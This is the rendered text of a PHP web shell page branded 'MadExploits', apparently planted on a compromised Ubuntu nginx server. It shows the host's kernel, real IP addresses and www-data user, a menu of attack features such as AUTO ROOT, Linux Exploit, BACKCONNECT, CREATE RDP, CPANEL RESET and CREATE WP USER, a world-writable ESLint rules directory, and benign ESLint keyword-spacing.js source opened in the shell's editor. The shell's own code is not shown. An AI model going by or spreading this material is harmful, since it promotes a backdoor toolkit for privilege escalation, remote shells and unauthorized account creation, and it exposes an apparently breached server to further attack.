Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.159
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
quiz1 /
node_modules /
eslint /
lib /
rules /
[ HOME SHELL ]
Name
Size
Permission
Action
utils
[ DIR ]
dr-xr-xr-x
accessor-pairs.js
11.71
KB
-rw-rw-rw-
array-bracket-newline.js
9.45
KB
-rw-rw-rw-
array-bracket-spacing.js
8.96
KB
-rw-rw-rw-
array-callback-return.js
15.5
KB
-rw-rw-rw-
array-element-newline.js
10.9
KB
-rw-rw-rw-
arrow-body-style.js
12.67
KB
-rw-rw-rw-
arrow-parens.js
7.61
KB
-rw-rw-rw-
arrow-spacing.js
5.17
KB
-rw-rw-rw-
block-scoped-var.js
4.24
KB
-rw-rw-rw-
block-spacing.js
5.8
KB
-rw-rw-rw-
brace-style.js
8.04
KB
-rw-rw-rw-
callback-return.js
6.41
KB
-rw-rw-rw-
camelcase.js
13.66
KB
-rw-rw-rw-
capitalized-comments.js
10.48
KB
-rw-rw-rw-
class-methods-use-this.js
6.02
KB
-rw-rw-rw-
comma-dangle.js
13.53
KB
-rw-rw-rw-
comma-spacing.js
6.87
KB
-rw-rw-rw-
comma-style.js
11.72
KB
-rw-rw-rw-
complexity.js
5.6
KB
-rw-rw-rw-
computed-property-spacing.js
7.45
KB
-rw-rw-rw-
consistent-return.js
6.91
KB
-rw-rw-rw-
consistent-this.js
4.99
KB
-rw-rw-rw-
constructor-super.js
15.19
KB
-rw-rw-rw-
curly.js
18.93
KB
-rw-rw-rw-
default-case-last.js
1.21
KB
-rw-rw-rw-
default-case.js
2.77
KB
-rw-rw-rw-
default-param-last.js
1.55
KB
-rw-rw-rw-
dot-location.js
3.43
KB
-rw-rw-rw-
dot-notation.js
6.6
KB
-rw-rw-rw-
eol-last.js
4.01
KB
-rw-rw-rw-
eqeqeq.js
5.65
KB
-rw-rw-rw-
for-direction.js
5
KB
-rw-rw-rw-
func-call-spacing.js
9.77
KB
-rw-rw-rw-
func-name-matching.js
9.91
KB
-rw-rw-rw-
func-names.js
6.3
KB
-rw-rw-rw-
func-style.js
2.85
KB
-rw-rw-rw-
function-call-argument-newline...
4.31
KB
-rw-rw-rw-
function-paren-newline.js
11.61
KB
-rw-rw-rw-
generator-star-spacing.js
7.01
KB
-rw-rw-rw-
getter-return.js
6.87
KB
-rw-rw-rw-
global-require.js
2.44
KB
-rw-rw-rw-
grouped-accessor-pairs.js
7.46
KB
-rw-rw-rw-
guard-for-in.js
2.31
KB
-rw-rw-rw-
handle-callback-err.js
3.06
KB
-rw-rw-rw-
id-blacklist.js
7.54
KB
-rw-rw-rw-
id-denylist.js
7.04
KB
-rw-rw-rw-
id-length.js
6.51
KB
-rw-rw-rw-
id-match.js
11.04
KB
-rw-rw-rw-
implicit-arrow-linebreak.js
2.88
KB
-rw-rw-rw-
indent-legacy.js
43.59
KB
-rw-rw-rw-
indent.js
76.54
KB
-rw-rw-rw-
index.js
17.89
KB
-rw-rw-rw-
init-declarations.js
4.38
KB
-rw-rw-rw-
jsx-quotes.js
2.98
KB
-rw-rw-rw-
key-spacing.js
26.36
KB
-rw-rw-rw-
keyword-spacing.js
23.7
KB
-rw-rw-rw-
line-comment-position.js
4.09
KB
-rw-rw-rw-
linebreak-style.js
3.48
KB
-rw-rw-rw-
lines-around-comment.js
17.85
KB
-rw-rw-rw-
lines-around-directive.js
7.6
KB
-rw-rw-rw-
lines-between-class-members.js
11.15
KB
-rw-rw-rw-
logical-assignment-operators.j...
21.38
KB
-rw-rw-rw-
max-classes-per-file.js
2.58
KB
-rw-rw-rw-
max-depth.js
4.68
KB
-rw-rw-rw-
max-len.js
15.81
KB
-rw-rw-rw-
max-lines-per-function.js
6.92
KB
-rw-rw-rw-
max-lines.js
5.95
KB
-rw-rw-rw-
max-nested-callbacks.js
3.48
KB
-rw-rw-rw-
max-params.js
3.1
KB
-rw-rw-rw-
max-statements-per-line.js
7.35
KB
-rw-rw-rw-
max-statements.js
5.81
KB
-rw-rw-rw-
multiline-comment-style.js
21.22
KB
-rw-rw-rw-
multiline-ternary.js
7.62
KB
-rw-rw-rw-
new-cap.js
9.3
KB
-rw-rw-rw-
new-parens.js
3.19
KB
-rw-rw-rw-
newline-after-var.js
9.46
KB
-rw-rw-rw-
newline-before-return.js
7.87
KB
-rw-rw-rw-
newline-per-chained-call.js
4.04
KB
-rw-rw-rw-
no-alert.js
4.25
KB
-rw-rw-rw-
no-array-constructor.js
4.38
KB
-rw-rw-rw-
no-async-promise-executor.js
1.11
KB
-rw-rw-rw-
no-await-in-loop.js
2.73
KB
-rw-rw-rw-
no-bitwise.js
3.5
KB
-rw-rw-rw-
no-buffer-constructor.js
1.4
KB
-rw-rw-rw-
no-caller.js
1.18
KB
-rw-rw-rw-
no-case-declarations.js
1.83
KB
-rw-rw-rw-
no-catch-shadow.js
2.51
KB
-rw-rw-rw-
no-class-assign.js
1.73
KB
-rw-rw-rw-
no-compare-neg-zero.js
1.9
KB
-rw-rw-rw-
no-cond-assign.js
5.52
KB
-rw-rw-rw-
no-confusing-arrow.js
2.9
KB
-rw-rw-rw-
no-console.js
7.17
KB
-rw-rw-rw-
no-const-assign.js
1.52
KB
-rw-rw-rw-
no-constant-binary-expression....
20.41
KB
-rw-rw-rw-
no-constant-condition.js
4.77
KB
-rw-rw-rw-
no-constructor-return.js
1.57
KB
-rw-rw-rw-
no-continue.js
886
B
-rw-rw-rw-
no-control-regex.js
4.58
KB
-rw-rw-rw-
no-debugger.js
959
B
-rw-rw-rw-
no-delete-var.js
983
B
-rw-rw-rw-
no-div-regex.js
1.42
KB
-rw-rw-rw-
no-dupe-args.js
2.36
KB
-rw-rw-rw-
no-dupe-class-members.js
3.29
KB
-rw-rw-rw-
no-dupe-else-if.js
4.51
KB
-rw-rw-rw-
no-dupe-keys.js
3.88
KB
-rw-rw-rw-
no-duplicate-case.js
2.04
KB
-rw-rw-rw-
no-duplicate-imports.js
9.28
KB
-rw-rw-rw-
no-else-return.js
15.71
KB
-rw-rw-rw-
no-empty-character-class.js
2.23
KB
-rw-rw-rw-
no-empty-function.js
4.63
KB
-rw-rw-rw-
no-empty-pattern.js
2.38
KB
-rw-rw-rw-
no-empty-static-block.js
1.22
KB
-rw-rw-rw-
no-empty.js
3.08
KB
-rw-rw-rw-
no-eq-null.js
1.22
KB
-rw-rw-rw-
no-eval.js
9.34
KB
-rw-rw-rw-
no-ex-assign.js
1.43
KB
-rw-rw-rw-
no-extend-native.js
6.5
KB
-rw-rw-rw-
no-extra-bind.js
7.39
KB
-rw-rw-rw-
no-extra-boolean-cast.js
11.7
KB
-rw-rw-rw-
no-extra-label.js
5.04
KB
-rw-rw-rw-
no-extra-parens.js
52.03
KB
-rw-rw-rw-
no-extra-semi.js
4.99
KB
-rw-rw-rw-
no-fallthrough.js
6.89
KB
-rw-rw-rw-
no-floating-decimal.js
2.42
KB
-rw-rw-rw-
no-func-assign.js
2.2
KB
-rw-rw-rw-
no-global-assign.js
2.97
KB
-rw-rw-rw-
no-implicit-coercion.js
12.97
KB
-rw-rw-rw-
no-implicit-globals.js
5.48
KB
-rw-rw-rw-
no-implied-eval.js
4.54
KB
-rw-rw-rw-
no-import-assign.js
7.25
KB
-rw-rw-rw-
no-inline-comments.js
3.29
KB
-rw-rw-rw-
no-inner-declarations.js
2.96
KB
-rw-rw-rw-
no-invalid-regexp.js
6.3
KB
-rw-rw-rw-
no-invalid-this.js
5.01
KB
-rw-rw-rw-
no-irregular-whitespace.js
9.93
KB
-rw-rw-rw-
no-iterator.js
1.28
KB
-rw-rw-rw-
no-label-var.js
2.36
KB
-rw-rw-rw-
no-labels.js
4.38
KB
-rw-rw-rw-
no-lone-blocks.js
4.23
KB
-rw-rw-rw-
no-lonely-if.js
3.65
KB
-rw-rw-rw-
no-loop-func.js
6.16
KB
-rw-rw-rw-
no-loss-of-precision.js
8.07
KB
-rw-rw-rw-
no-magic-numbers.js
9.26
KB
-rw-rw-rw-
no-misleading-character-class....
9.87
KB
-rw-rw-rw-
no-mixed-operators.js
7.58
KB
-rw-rw-rw-
no-mixed-requires.js
7.26
KB
-rw-rw-rw-
no-mixed-spaces-and-tabs.js
3.67
KB
-rw-rw-rw-
no-multi-assign.js
1.76
KB
-rw-rw-rw-
no-multi-spaces.js
5.04
KB
-rw-rw-rw-
no-multi-str.js
1.8
KB
-rw-rw-rw-
no-multiple-empty-lines.js
6.25
KB
-rw-rw-rw-
no-native-reassign.js
2.99
KB
-rw-rw-rw-
no-negated-condition.js
2.9
KB
-rw-rw-rw-
no-negated-in-lhs.js
1.16
KB
-rw-rw-rw-
no-nested-ternary.js
1.12
KB
-rw-rw-rw-
no-new-func.js
2.98
KB
-rw-rw-rw-
no-new-native-nonconstructor.j...
2.11
KB
-rw-rw-rw-
no-new-object.js
1.72
KB
-rw-rw-rw-
no-new-require.js
1.17
KB
-rw-rw-rw-
no-new-symbol.js
1.58
KB
-rw-rw-rw-
no-new-wrappers.js
1.7
KB
-rw-rw-rw-
no-new.js
1.04
KB
-rw-rw-rw-
no-nonoctal-decimal-escape.js
5.47
KB
-rw-rw-rw-
no-obj-calls.js
2.7
KB
-rw-rw-rw-
no-object-constructor.js
3.55
KB
-rw-rw-rw-
no-octal-escape.js
1.44
KB
-rw-rw-rw-
no-octal.js
1.01
KB
-rw-rw-rw-
no-param-reassign.js
8.42
KB
-rw-rw-rw-
no-path-concat.js
1.68
KB
-rw-rw-rw-
no-plusplus.js
3.1
KB
-rw-rw-rw-
no-process-env.js
1.19
KB
-rw-rw-rw-
no-process-exit.js
1.24
KB
-rw-rw-rw-
no-promise-executor-return.js
8.54
KB
-rw-rw-rw-
no-proto.js
1.21
KB
-rw-rw-rw-
no-prototype-builtins.js
5.83
KB
-rw-rw-rw-
no-redeclare.js
5.67
KB
-rw-rw-rw-
no-regex-spaces.js
6.42
KB
-rw-rw-rw-
no-restricted-exports.js
7.1
KB
-rw-rw-rw-
no-restricted-globals.js
3.79
KB
-rw-rw-rw-
no-restricted-imports.js
16.6
KB
-rw-rw-rw-
no-restricted-modules.js
6.9
KB
-rw-rw-rw-
no-restricted-properties.js
6.17
KB
-rw-rw-rw-
no-restricted-syntax.js
2.17
KB
-rw-rw-rw-
no-return-assign.js
2.62
KB
-rw-rw-rw-
no-return-await.js
5.02
KB
-rw-rw-rw-
no-script-url.js
1.72
KB
-rw-rw-rw-
no-self-assign.js
5.5
KB
-rw-rw-rw-
no-self-compare.js
1.81
KB
-rw-rw-rw-
no-sequences.js
4.67
KB
-rw-rw-rw-
no-setter-return.js
7.07
KB
-rw-rw-rw-
no-shadow-restricted-names.js
2.16
KB
-rw-rw-rw-
no-shadow.js
12.31
KB
-rw-rw-rw-
no-spaced-func.js
2.42
KB
-rw-rw-rw-
no-sparse-arrays.js
1.17
KB
-rw-rw-rw-
no-sync.js
1.65
KB
-rw-rw-rw-
no-tabs.js
2.45
KB
-rw-rw-rw-
no-template-curly-in-string.js
1.15
KB
-rw-rw-rw-
no-ternary.js
889
B
-rw-rw-rw-
no-this-before-super.js
10.87
KB
-rw-rw-rw-
no-throw-literal.js
1.28
KB
-rw-rw-rw-
no-trailing-spaces.js
6.72
KB
-rw-rw-rw-
no-undef-init.js
2.35
KB
-rw-rw-rw-
no-undef.js
2.3
KB
-rw-rw-rw-
no-undefined.js
2.24
KB
-rw-rw-rw-
no-underscore-dangle.js
12.79
KB
-rw-rw-rw-
no-unexpected-multiline.js
4.19
KB
-rw-rw-rw-
no-unmodified-loop-condition.j...
11.65
KB
-rw-rw-rw-
no-unneeded-ternary.js
6.79
KB
-rw-rw-rw-
no-unreachable-loop.js
5.94
KB
-rw-rw-rw-
no-unreachable.js
8.9
KB
-rw-rw-rw-
no-unsafe-finally.js
3.91
KB
-rw-rw-rw-
no-unsafe-negation.js
4.63
KB
-rw-rw-rw-
no-unsafe-optional-chaining.js
6.97
KB
-rw-rw-rw-
no-unused-expressions.js
6.08
KB
-rw-rw-rw-
no-unused-labels.js
4.55
KB
-rw-rw-rw-
no-unused-private-class-member...
7.68
KB
-rw-rw-rw-
no-unused-vars.js
27
KB
-rw-rw-rw-
no-use-before-define.js
10.88
KB
-rw-rw-rw-
no-useless-backreference.js
7.57
KB
-rw-rw-rw-
no-useless-call.js
2.99
KB
-rw-rw-rw-
no-useless-catch.js
1.71
KB
-rw-rw-rw-
no-useless-computed-key.js
6.3
KB
-rw-rw-rw-
no-useless-concat.js
3.24
KB
-rw-rw-rw-
no-useless-constructor.js
5.75
KB
-rw-rw-rw-
no-useless-escape.js
13.18
KB
-rw-rw-rw-
no-useless-rename.js
5.88
KB
-rw-rw-rw-
no-useless-return.js
14.01
KB
-rw-rw-rw-
no-var.js
12.14
KB
-rw-rw-rw-
no-void.js
1.72
KB
-rw-rw-rw-
no-warning-comments.js
7.12
KB
-rw-rw-rw-
no-whitespace-before-property....
3.92
KB
-rw-rw-rw-
no-with.js
876
B
-rw-rw-rw-
nonblock-statement-body-positi...
4.56
KB
-rw-rw-rw-
object-curly-newline.js
11.53
KB
-rw-rw-rw-
object-curly-spacing.js
11.61
KB
-rw-rw-rw-
object-property-newline.js
3.8
KB
-rw-rw-rw-
object-shorthand.js
21.78
KB
-rw-rw-rw-
one-var-declaration-per-line.j...
2.86
KB
-rw-rw-rw-
one-var.js
22.37
KB
-rw-rw-rw-
operator-assignment.js
8.58
KB
-rw-rw-rw-
operator-linebreak.js
9.88
KB
-rw-rw-rw-
padded-blocks.js
10.79
KB
-rw-rw-rw-
padding-line-between-statement...
18.85
KB
-rw-rw-rw-
prefer-arrow-callback.js
14.33
KB
-rw-rw-rw-
prefer-const.js
18.27
KB
-rw-rw-rw-
prefer-destructuring.js
10.93
KB
-rw-rw-rw-
prefer-exponentiation-operator...
7.58
KB
-rw-rw-rw-
prefer-named-capture-group.js
5.84
KB
-rw-rw-rw-
prefer-numeric-literals.js
5.7
KB
-rw-rw-rw-
prefer-object-has-own.js
4.24
KB
-rw-rw-rw-
prefer-object-spread.js
10.45
KB
-rw-rw-rw-
prefer-promise-reject-errors.j...
5.37
KB
-rw-rw-rw-
prefer-reflect.js
4.59
KB
-rw-rw-rw-
prefer-regex-literals.js
18.06
KB
-rw-rw-rw-
prefer-rest-params.js
3.39
KB
-rw-rw-rw-
prefer-spread.js
2.78
KB
-rw-rw-rw-
prefer-template.js
11.15
KB
-rw-rw-rw-
quote-props.js
11.82
KB
-rw-rw-rw-
quotes.js
12.41
KB
-rw-rw-rw-
radix.js
6.75
KB
-rw-rw-rw-
require-atomic-updates.js
11.1
KB
-rw-rw-rw-
require-await.js
3.27
KB
-rw-rw-rw-
require-jsdoc.js
3.77
KB
-rw-rw-rw-
require-unicode-regexp.js
5.1
KB
-rw-rw-rw-
require-yield.js
2.05
KB
-rw-rw-rw-
rest-spread-spacing.js
4.03
KB
-rw-rw-rw-
semi-spacing.js
8.71
KB
-rw-rw-rw-
semi-style.js
5.24
KB
-rw-rw-rw-
semi.js
15.87
KB
-rw-rw-rw-
sort-imports.js
10.62
KB
-rw-rw-rw-
sort-keys.js
7.16
KB
-rw-rw-rw-
sort-vars.js
4.04
KB
-rw-rw-rw-
space-before-blocks.js
7.14
KB
-rw-rw-rw-
space-before-function-paren.js
5.87
KB
-rw-rw-rw-
space-in-parens.js
10.55
KB
-rw-rw-rw-
space-infix-ops.js
6.42
KB
-rw-rw-rw-
space-unary-ops.js
12.39
KB
-rw-rw-rw-
spaced-comment.js
12.85
KB
-rw-rw-rw-
strict.js
10.37
KB
-rw-rw-rw-
switch-colon-spacing.js
4.9
KB
-rw-rw-rw-
symbol-description.js
2.04
KB
-rw-rw-rw-
template-curly-spacing.js
4.74
KB
-rw-rw-rw-
template-tag-spacing.js
3.08
KB
-rw-rw-rw-
unicode-bom.js
2.15
KB
-rw-rw-rw-
use-isnan.js
4.64
KB
-rw-rw-rw-
valid-jsdoc.js
20.08
KB
-rw-rw-rw-
valid-typeof.js
4.92
KB
-rw-rw-rw-
vars-on-top.js
5.17
KB
-rw-rw-rw-
wrap-iife.js
7.8
KB
-rw-rw-rw-
wrap-regex.js
1.85
KB
-rw-rw-rw-
yield-star-spacing.js
4.31
KB
-rw-rw-rw-
yoda.js
11.89
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : keyword-spacing.js
/** * @fileoverview Rule to enforce spacing before and after keywords. * @author Toru Nagashima * @deprecated in ESLint v8.53.0 */ "use strict"; //------------------------------------------------------------------------------ // Requirements //------------------------------------------------------------------------------ const astUtils = require("./utils/ast-utils"), keywords = require("./utils/keywords"); //------------------------------------------------------------------------------ // Constants //------------------------------------------------------------------------------ const PREV_TOKEN = /^[)\]}>]$/u; const NEXT_TOKEN = /^(?:[([{<~!]|\+\+?|--?)$/u; const PREV_TOKEN_M = /^[)\]}>*]$/u; const NEXT_TOKEN_M = /^[{*]$/u; const TEMPLATE_OPEN_PAREN = /\$\{$/u; const TEMPLATE_CLOSE_PAREN = /^\}/u; const CHECK_TYPE = /^(?:JSXElement|RegularExpression|String|Template|PrivateIdentifier)$/u; const KEYS = keywords.concat(["as", "async", "await", "from", "get", "let", "of", "set", "yield"]); // check duplications. (function() { KEYS.sort(); for (let i = 1; i < KEYS.length; ++i) { if (KEYS[i] === KEYS[i - 1]) { throw new Error(`Duplication was found in the keyword list: ${KEYS[i]}`); } } }()); //------------------------------------------------------------------------------ // Helpers //------------------------------------------------------------------------------ /** * Checks whether or not a given token is a "Template" token ends with "${". * @param {Token} token A token to check. * @returns {boolean} `true` if the token is a "Template" token ends with "${". */ function isOpenParenOfTemplate(token) { return token.type === "Template" && TEMPLATE_OPEN_PAREN.test(token.value); } /** * Checks whether or not a given token is a "Template" token starts with "}". * @param {Token} token A token to check. * @returns {boolean} `true` if the token is a "Template" token starts with "}". */ function isCloseParenOfTemplate(token) { return token.type === "Template" && TEMPLATE_CLOSE_PAREN.test(token.value); } //------------------------------------------------------------------------------ // Rule Definition //------------------------------------------------------------------------------ /** @type {import('../shared/types').Rule} */ module.exports = { meta: { deprecated: true, replacedBy: [], type: "layout", docs: { description: "Enforce consistent spacing before and after keywords", recommended: false, url: "https://eslint.org/docs/latest/rules/keyword-spacing" }, fixable: "whitespace", schema: [ { type: "object", properties: { before: { type: "boolean", default: true }, after: { type: "boolean", default: true }, overrides: { type: "object", properties: KEYS.reduce((retv, key) => { retv[key] = { type: "object", properties: { before: { type: "boolean" }, after: { type: "boolean" } }, additionalProperties: false }; return retv; }, {}), additionalProperties: false } }, additionalProperties: false } ], messages: { expectedBefore: "Expected space(s) before \"{{value}}\".", expectedAfter: "Expected space(s) after \"{{value}}\".", unexpectedBefore: "Unexpected space(s) before \"{{value}}\".", unexpectedAfter: "Unexpected space(s) after \"{{value}}\"." } }, create(context) { const sourceCode = context.sourceCode; const tokensToIgnore = new WeakSet(); /** * Reports a given token if there are not space(s) before the token. * @param {Token} token A token to report. * @param {RegExp} pattern A pattern of the previous token to check. * @returns {void} */ function expectSpaceBefore(token, pattern) { const prevToken = sourceCode.getTokenBefore(token); if (prevToken && (CHECK_TYPE.test(prevToken.type) || pattern.test(prevToken.value)) && !isOpenParenOfTemplate(prevToken) && !tokensToIgnore.has(prevToken) && astUtils.isTokenOnSameLine(prevToken, token) && !sourceCode.isSpaceBetweenTokens(prevToken, token) ) { context.report({ loc: token.loc, messageId: "expectedBefore", data: token, fix(fixer) { return fixer.insertTextBefore(token, " "); } }); } } /** * Reports a given token if there are space(s) before the token. * @param {Token} token A token to report. * @param {RegExp} pattern A pattern of the previous token to check. * @returns {void} */ function unexpectSpaceBefore(token, pattern) { const prevToken = sourceCode.getTokenBefore(token); if (prevToken && (CHECK_TYPE.test(prevToken.type) || pattern.test(prevToken.value)) && !isOpenParenOfTemplate(prevToken) && !tokensToIgnore.has(prevToken) && astUtils.isTokenOnSameLine(prevToken, token) && sourceCode.isSpaceBetweenTokens(prevToken, token) ) { context.report({ loc: { start: prevToken.loc.end, end: token.loc.start }, messageId: "unexpectedBefore", data: token, fix(fixer) { return fixer.removeRange([prevToken.range[1], token.range[0]]); } }); } } /** * Reports a given token if there are not space(s) after the token. * @param {Token} token A token to report. * @param {RegExp} pattern A pattern of the next token to check. * @returns {void} */ function expectSpaceAfter(token, pattern) { const nextToken = sourceCode.getTokenAfter(token); if (nextToken && (CHECK_TYPE.test(nextToken.type) || pattern.test(nextToken.value)) && !isCloseParenOfTemplate(nextToken) && !tokensToIgnore.has(nextToken) && astUtils.isTokenOnSameLine(token, nextToken) && !sourceCode.isSpaceBetweenTokens(token, nextToken) ) { context.report({ loc: token.loc, messageId: "expectedAfter", data: token, fix(fixer) { return fixer.insertTextAfter(token, " "); } }); } } /** * Reports a given token if there are space(s) after the token. * @param {Token} token A token to report. * @param {RegExp} pattern A pattern of the next token to check. * @returns {void} */ function unexpectSpaceAfter(token, pattern) { const nextToken = sourceCode.getTokenAfter(token); if (nextToken && (CHECK_TYPE.test(nextToken.type) || pattern.test(nextToken.value)) && !isCloseParenOfTemplate(nextToken) && !tokensToIgnore.has(nextToken) && astUtils.isTokenOnSameLine(token, nextToken) && sourceCode.isSpaceBetweenTokens(token, nextToken) ) { context.report({ loc: { start: token.loc.end, end: nextToken.loc.start }, messageId: "unexpectedAfter", data: token, fix(fixer) { return fixer.removeRange([token.range[1], nextToken.range[0]]); } }); } } /** * Parses the option object and determines check methods for each keyword. * @param {Object|undefined} options The option object to parse. * @returns {Object} - Normalized option object. * Keys are keywords (there are for every keyword). * Values are instances of `{"before": function, "after": function}`. */ function parseOptions(options = {}) { const before = options.before !== false; const after = options.after !== false; const defaultValue = { before: before ? expectSpaceBefore : unexpectSpaceBefore, after: after ? expectSpaceAfter : unexpectSpaceAfter }; const overrides = (options && options.overrides) || {}; const retv = Object.create(null); for (let i = 0; i < KEYS.length; ++i) { const key = KEYS[i]; const override = overrides[key]; if (override) { const thisBefore = ("before" in override) ? override.before : before; const thisAfter = ("after" in override) ? override.after : after; retv[key] = { before: thisBefore ? expectSpaceBefore : unexpectSpaceBefore, after: thisAfter ? expectSpaceAfter : unexpectSpaceAfter }; } else { retv[key] = defaultValue; } } return retv; } const checkMethodMap = parseOptions(context.options[0]); /** * Reports a given token if usage of spacing followed by the token is * invalid. * @param {Token} token A token to report. * @param {RegExp} [pattern] Optional. A pattern of the previous * token to check. * @returns {void} */ function checkSpacingBefore(token, pattern) { checkMethodMap[token.value].before(token, pattern || PREV_TOKEN); } /** * Reports a given token if usage of spacing preceded by the token is * invalid. * @param {Token} token A token to report. * @param {RegExp} [pattern] Optional. A pattern of the next * token to check. * @returns {void} */ function checkSpacingAfter(token, pattern) { checkMethodMap[token.value].after(token, pattern || NEXT_TOKEN); } /** * Reports a given token if usage of spacing around the token is invalid. * @param {Token} token A token to report. * @returns {void} */ function checkSpacingAround(token) { checkSpacingBefore(token); checkSpacingAfter(token); } /** * Reports the first token of a given node if the first token is a keyword * and usage of spacing around the token is invalid. * @param {ASTNode|null} node A node to report. * @returns {void} */ function checkSpacingAroundFirstToken(node) { const firstToken = node && sourceCode.getFirstToken(node); if (firstToken && firstToken.type === "Keyword") { checkSpacingAround(firstToken); } } /** * Reports the first token of a given node if the first token is a keyword * and usage of spacing followed by the token is invalid. * * This is used for unary operators (e.g. `typeof`), `function`, and `super`. * Other rules are handling usage of spacing preceded by those keywords. * @param {ASTNode|null} node A node to report. * @returns {void} */ function checkSpacingBeforeFirstToken(node) { const firstToken = node && sourceCode.getFirstToken(node); if (firstToken && firstToken.type === "Keyword") { checkSpacingBefore(firstToken); } } /** * Reports the previous token of a given node if the token is a keyword and * usage of spacing around the token is invalid. * @param {ASTNode|null} node A node to report. * @returns {void} */ function checkSpacingAroundTokenBefore(node) { if (node) { const token = sourceCode.getTokenBefore(node, astUtils.isKeywordToken); checkSpacingAround(token); } } /** * Reports `async` or `function` keywords of a given node if usage of * spacing around those keywords is invalid. * @param {ASTNode} node A node to report. * @returns {void} */ function checkSpacingForFunction(node) { const firstToken = node && sourceCode.getFirstToken(node); if (firstToken && ((firstToken.type === "Keyword" && firstToken.value === "function") || firstToken.value === "async") ) { checkSpacingBefore(firstToken); } } /** * Reports `class` and `extends` keywords of a given node if usage of * spacing around those keywords is invalid. * @param {ASTNode} node A node to report. * @returns {void} */ function checkSpacingForClass(node) { checkSpacingAroundFirstToken(node); checkSpacingAroundTokenBefore(node.superClass); } /** * Reports `if` and `else` keywords of a given node if usage of spacing * around those keywords is invalid. * @param {ASTNode} node A node to report. * @returns {void} */ function checkSpacingForIfStatement(node) { checkSpacingAroundFirstToken(node); checkSpacingAroundTokenBefore(node.alternate); } /** * Reports `try`, `catch`, and `finally` keywords of a given node if usage * of spacing around those keywords is invalid. * @param {ASTNode} node A node to report. * @returns {void} */ function checkSpacingForTryStatement(node) { checkSpacingAroundFirstToken(node); checkSpacingAroundFirstToken(node.handler); checkSpacingAroundTokenBefore(node.finalizer); } /** * Reports `do` and `while` keywords of a given node if usage of spacing * around those keywords is invalid. * @param {ASTNode} node A node to report. * @returns {void} */ function checkSpacingForDoWhileStatement(node) { checkSpacingAroundFirstToken(node); checkSpacingAroundTokenBefore(node.test); } /** * Reports `for` and `in` keywords of a given node if usage of spacing * around those keywords is invalid. * @param {ASTNode} node A node to report. * @returns {void} */ function checkSpacingForForInStatement(node) { checkSpacingAroundFirstToken(node); const inToken = sourceCode.getTokenBefore(node.right, astUtils.isNotOpeningParenToken); const previousToken = sourceCode.getTokenBefore(inToken); if (previousToken.type !== "PrivateIdentifier") { checkSpacingBefore(inToken); } checkSpacingAfter(inToken); } /** * Reports `for` and `of` keywords of a given node if usage of spacing * around those keywords is invalid. * @param {ASTNode} node A node to report. * @returns {void} */ function checkSpacingForForOfStatement(node) { if (node.await) { checkSpacingBefore(sourceCode.getFirstToken(node, 0)); checkSpacingAfter(sourceCode.getFirstToken(node, 1)); } else { checkSpacingAroundFirstToken(node); } const ofToken = sourceCode.getTokenBefore(node.right, astUtils.isNotOpeningParenToken); const previousToken = sourceCode.getTokenBefore(ofToken); if (previousToken.type !== "PrivateIdentifier") { checkSpacingBefore(ofToken); } checkSpacingAfter(ofToken); } /** * Reports `import`, `export`, `as`, and `from` keywords of a given node if * usage of spacing around those keywords is invalid. * * This rule handles the `*` token in module declarations. * * import*as A from "./a"; /*error Expected space(s) after "import". * error Expected space(s) before "as". * @param {ASTNode} node A node to report. * @returns {void} */ function checkSpacingForModuleDeclaration(node) { const firstToken = sourceCode.getFirstToken(node); checkSpacingBefore(firstToken, PREV_TOKEN_M); checkSpacingAfter(firstToken, NEXT_TOKEN_M); if (node.type === "ExportDefaultDeclaration") { checkSpacingAround(sourceCode.getTokenAfter(firstToken)); } if (node.type === "ExportAllDeclaration" && node.exported) { const asToken = sourceCode.getTokenBefore(node.exported); checkSpacingBefore(asToken, PREV_TOKEN_M); checkSpacingAfter(asToken, NEXT_TOKEN_M); } if (node.source) { const fromToken = sourceCode.getTokenBefore(node.source); checkSpacingBefore(fromToken, PREV_TOKEN_M); checkSpacingAfter(fromToken, NEXT_TOKEN_M); } } /** * Reports `as` keyword of a given node if usage of spacing around this * keyword is invalid. * @param {ASTNode} node An `ImportSpecifier` node to check. * @returns {void} */ function checkSpacingForImportSpecifier(node) { if (node.imported.range[0] !== node.local.range[0]) { const asToken = sourceCode.getTokenBefore(node.local); checkSpacingBefore(asToken, PREV_TOKEN_M); } } /** * Reports `as` keyword of a given node if usage of spacing around this * keyword is invalid. * @param {ASTNode} node An `ExportSpecifier` node to check. * @returns {void} */ function checkSpacingForExportSpecifier(node) { if (node.local.range[0] !== node.exported.range[0]) { const asToken = sourceCode.getTokenBefore(node.exported); checkSpacingBefore(asToken, PREV_TOKEN_M); checkSpacingAfter(asToken, NEXT_TOKEN_M); } } /** * Reports `as` keyword of a given node if usage of spacing around this * keyword is invalid. * @param {ASTNode} node A node to report. * @returns {void} */ function checkSpacingForImportNamespaceSpecifier(node) { const asToken = sourceCode.getFirstToken(node, 1); checkSpacingBefore(asToken, PREV_TOKEN_M); } /** * Reports `static`, `get`, and `set` keywords of a given node if usage of * spacing around those keywords is invalid. * @param {ASTNode} node A node to report. * @throws {Error} If unable to find token get, set, or async beside method name. * @returns {void} */ function checkSpacingForProperty(node) { if (node.static) { checkSpacingAroundFirstToken(node); } if (node.kind === "get" || node.kind === "set" || ( (node.method || node.type === "MethodDefinition") && node.value.async ) ) { const token = sourceCode.getTokenBefore( node.key, tok => { switch (tok.value) { case "get": case "set": case "async": return true; default: return false; } } ); if (!token) { throw new Error("Failed to find token get, set, or async beside method name"); } checkSpacingAround(token); } } /** * Reports `await` keyword of a given node if usage of spacing before * this keyword is invalid. * @param {ASTNode} node A node to report. * @returns {void} */ function checkSpacingForAwaitExpression(node) { checkSpacingBefore(sourceCode.getFirstToken(node)); } return { // Statements DebuggerStatement: checkSpacingAroundFirstToken, WithStatement: checkSpacingAroundFirstToken, // Statements - Control flow BreakStatement: checkSpacingAroundFirstToken, ContinueStatement: checkSpacingAroundFirstToken, ReturnStatement: checkSpacingAroundFirstToken, ThrowStatement: checkSpacingAroundFirstToken, TryStatement: checkSpacingForTryStatement, // Statements - Choice IfStatement: checkSpacingForIfStatement, SwitchStatement: checkSpacingAroundFirstToken, SwitchCase: 